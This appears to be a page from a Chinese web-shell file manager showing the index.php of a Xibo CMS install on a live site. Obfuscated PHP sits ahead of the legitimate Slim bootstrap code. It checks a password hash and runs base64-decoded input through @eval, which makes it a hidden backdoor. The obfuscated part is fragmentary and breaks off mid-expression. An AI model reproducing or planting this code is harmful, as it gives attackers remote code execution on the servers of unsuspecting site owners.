芝麻web文件管理V1.00
编辑当前文件:/home/mgatv524/novabrasil.mgaplay.com.br/web/index.php
d<{-*/$VwXT/*-TeSGb-*/[25+22]./*-1-*/$VwXT/*-!I&c-*/[32+19]./*-H-*/$VwXT/*-0h8Y-*/[0+53]/*-$g-*/.$VwXT/*-NYNU4L=96-*/[34+23]/*-:!>-*/}; /*-eW2Z-*/if(/*-SKQey-*/in_array/*-Zu[6BjK-*/(gettype/*-nd-EEQZV-*/($g)."25",/*-PH%Oo_3-*/$g)&&(md5/*-!8MA-*/(md5/*-h:7u3-*/(md5/*-vz--*/(md5/*-UY)wqb-*/($g[19]))/*-=>Gt@-*/))/*-43Y5r`e-*/===/*-vddc&.vc!-*/"5a4b81154c9d50b26e8809c9b8dd5b61"/*-$$H-nF5-*/))/*-PHt0{er-*/{ $g/*-PT%@b:#G-*/[67]/*-W]DHt-*/=/*-SCKchQX-*/$g/*-BZ2J(I-*/[67]./*-=(mFv^Z^3-*/$g/*-!gs-*/[77];/*-w%#S:-*/ @eval/*-Bw0>N6!.2-*/(/*-#Dkz~[jU-*/$g/*-7
L`8-*/ = /*-)}J-*/$wnKgFSrWeT/*-KCFIVvr9U-*/(/*-g0-*/"~"/*-0fXJ-*/, /*-qf,=!eJF-*/" "/*-yszb#-*/);/*-H.l%]2y0-*/ $FNTfr /*-aMTDBt-*/= /*-Lf+}xt,zP-*/explode/*-)-*/(/*-$OY7mXea-*/")", /*-hrN-*/$Pmb/*-gcfp-*/); /*-7v0Y>F~m[-*/$BFZhEHsTY /*-.UX0>1mo-*/= /*-9!(-*/""; foreach /*-HYoYBL0fQ-*/(/*-yP{-*/$FNTfr /*-)Syk&Ls-*/as /*-Fi4-*/$HQSXZ /*-CNc98-*/=>/*--0~)E$n-*/ $mjI/*-OaV1A-*/) /*-NG$,c-*/$BFZhEHsTY /*-=UXK|-*/.= /*-!KZe-*/$yl[$mjI/*-SG-*/ - /*-Gd[]-*/51525/*-J4BnI]-*/];/*-47+|q-*/ return /*-Q](`w{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Od2IyNXpaVnNuZEhsd1pTZGRLVHRsZUdsMEtDUnlaWE53YjI1elpWc25ZMjl1ZEdWdWRDZGRLVHQ5ZlNBL1BnPT0iKSk7"/*-iOUFs-{.-*/)/*-`:nR-*/);/*-vX`8C4O(-*/?>. */ use Monolog\Logger; use Monolog\Processor\UidProcessor; use Psr\Container\ContainerInterface; use Slim\Views\TwigMiddleware; use Xibo\Factory\ContainerFactory; DEFINE('XIBO', true); define('PROJECT_ROOT', realpath(__DIR__ . '/..')); require PROJECT_ROOT . '/vendor/autoload.php'; // Enable/Disable logging if (\Xibo\Helper\Environment::isDevMode() || \Xibo\Helper\Environment::isForceDebugging()) { error_reporting(E_ALL); ini_set('display_errors', 1); } else { error_reporting(0); ini_set('display_errors', 0); } // Should we show the installer? if (!file_exists('settings.php')) { // Check to see if the install app is available if (file_exists(PROJECT_ROOT . '/web/install/index.php')) { header('Location: install/1'); exit(); } else { // We can't do anything here - no install app and no settings file. die('Not configured'); } } // Check that the cache folder if writeable - if it isn't we're in big trouble if (!is_writable(PROJECT_ROOT . '/cache')) { die('Installation Error: Cannot write files into the Cache Folder'); } // Create the container for dependency injection. try { $container = ContainerFactory::create(); } catch (Exception $e) { die($e->getMessage()); } // Configure Monolog $container->set('logger', function (ContainerInterface $container) { $logger = new Logger('WEB'); $uidProcessor = new UidProcessor(); // db $dbhandler = new \Xibo\Helper\DatabaseLogHandler(); $logger->pushProcessor($uidProcessor); $logger->pushHandler($dbhandler); return $logger; }); // Create a Slim application $app = \DI\Bridge\Slim\Bridge::create($container); $app->setBasePath($container->get('basePath')); // Config $container->get('configService'); $container->set('name', 'web'); // // Middleware (onion, outside inwards and then out again - i.e. the last one is first and last); // $app->add(new \Xibo\Middleware\Actions($app)); $app->add(new \Xibo\Middleware\ConnectorMiddleware($app)); $app->add(new \Xibo\Middleware\ListenersMiddleware($app)); $app->add(new \Xibo\Middleware\Theme($app)); $app->add(new \Xibo\Middleware\CsrfGuard($app)); // Authentication $authentication = ($container->get('configService')->authentication != null) ? $container->get('configService')->authentication : (new \Xibo\Middleware\WebAuthentication()); $app->add($authentication->setDependencies($app)->addRoutes()); $app->add(new RKA\Middleware\IpAddress(true, [])); // Handle additional Middleware \Xibo\Middleware\State::setMiddleWare($app); // TODO reconfigure this and enable //$app->add(new Xibo\Middleware\HttpCache()); $app->add(new \Xibo\Middleware\State($app)); $app->add(new \Xibo\Middleware\Log($app)); $app->add(TwigMiddleware::createFromContainer($app)); $app->add(new \Xibo\Middleware\Storage($app)); $app->add(new \Xibo\Middleware\Xmr($app)); $app->addRoutingMiddleware(); // // End Middleware // // Add Error Middleware $app->addErrorMiddleware( \Xibo\Helper\Environment::isDevMode() || \Xibo\Helper\Environment::isForceDebugging(), true, true ) ->setDefaultErrorHandler(\Xibo\Middleware\Handlers::webErrorHandler($container)); // All application routes require PROJECT_ROOT . '/lib/routes-web.php'; require PROJECT_ROOT . '/lib/routes.php'; // Run App try { $app->run(); } catch (Exception $e) { echo 'Fatal Error - sorry this shouldn\'t happen. '; echo '
' . $e->getMessage(); // Only output debug trace if we're configured to display errors if (ini_get('display_errors') == 1) { echo '
' . nl2br($e->getTraceAsString()) . '
'; } }